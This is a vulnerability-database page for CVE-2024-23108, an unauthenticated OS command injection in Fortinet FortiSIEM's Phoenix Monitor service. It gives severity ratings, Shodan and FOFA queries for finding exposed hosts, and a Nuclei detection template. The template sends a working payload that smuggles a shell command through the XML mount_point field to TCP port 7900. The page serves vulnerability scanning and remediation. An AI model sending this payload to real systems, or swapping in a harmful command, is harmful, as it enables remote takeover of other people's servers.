SecurityContext

CVE-2024-23108: Fortinet FortiSIEM - OS Command Injection

Classification

  • Cwe: CWE-78
  • Cvss score: 10
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Epss score: 0.80304
  • Epss percentile: 0.99628
  • Cpe: cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="var hst = location.hostname", icon_hash="-1341442175"
  • Max-request: 1
  • Product: fortisiem
  • Shodan-query: port:"7900", http.favicon.hash:"-1341442175", http.html:"var hst = location.hostname"
  • Vendor: fortinet

Products

ProductIndexedUrl
fortinet:fortisiemyes/v1/products/fortinet/fortisiem

Labels

  • Name: Fortinet FortiSIEM - OS Command Injection
  • Impact: Attackers can execute arbitrary commands on the system, potentially leading to full system compromise.
  • Remediation: Update to the latest version of FortiSIEM or apply security patches provided by Fortinet.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-23108
  • Not known: requirements

```yaml

id: CVE-2024-23108

info:

name: Fortinet FortiSIEM - OS Command Injection

author: 0x_Akoko,Thacien

severity: critical

description: |

FortiSIEM versions 6.4.0 through 7.1.1 contain an OS command injection vulnerability in the Phoenix Monitor service. The vulnerability exists in the XML parsing of TEST_STORAGE elements where the mount_point field is not properly sanitized before being passed to shell commands, allowing unauthenticated remote code execution.

impact: |

Unauthenticated attackers can execute arbitrary commands on the FortiSIEM system, potentially leading to full system compromise, data exfilteration, lateral movement, and complete bypass of security monitoring capabilities.

remediation: |

Update FortiSIEM to versions newer than 7.1.1. Implement network segmentation to restrict access to Phoenix Monitor service (TCP/7900) and monitor for suspicious connections to this port.

reference:

- https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive/

- https://fortiguard.com/psirt/FG-IR-23-130

- https://nvd.nist.gov/vuln/detail/CVE-2024-23108

- https://github.com/horizon3ai/CVE-2024-23108

- https://github.com/nomi-sec/PoC-in-GitHub

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

cvss-score: 10

cve-id: CVE-2024-23108

cwe-id: CWE-78

epss-score: 0.80304

epss-percentile: 0.99628

cpe: cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: fortinet

product: fortisiem

shodan-query:

- port:"7900"

- http.favicon.hash:"-1341442175"

- http.html:"var hst = location.hostname"

fofa-query:

- body="var hst = location.hostname"

- icon_hash="-1341442175"

tags: cve,cve2024,fortinet,fortisiem,vkev,injection,unauth,vuln

variables:

xml: '<TEST_STORAGE type="nfs"><server_ip>127.0.0.1</server_ip><mount_point>/lala; echo "id";</mount_point></TEST_STORAGE>'

payload: "\x51\x00\x00\x00\x74\x00\x00\x00\x6f\x42\x1e\x40\x00\x00\x00\x00{{xml}}"

tcp:

- inputs:

- data: "{{payload}}"

host:

- "tls://{{Hostname}}"

port: 7900

read-size: 1024

matchers:

- type: word

part: raw

words:

- "15.."

digest: 490a0046304402204c6f0879b047bc3b22988c8bf5a9e58d22c44085966b22fd9e41334c5cef3f410220574eefd461d77729d3cb7e3d76f2fed6ea94b5e99fc7476fb4f88bbf0f9966bc:922c64590222798bb761d5b6d8e72950

```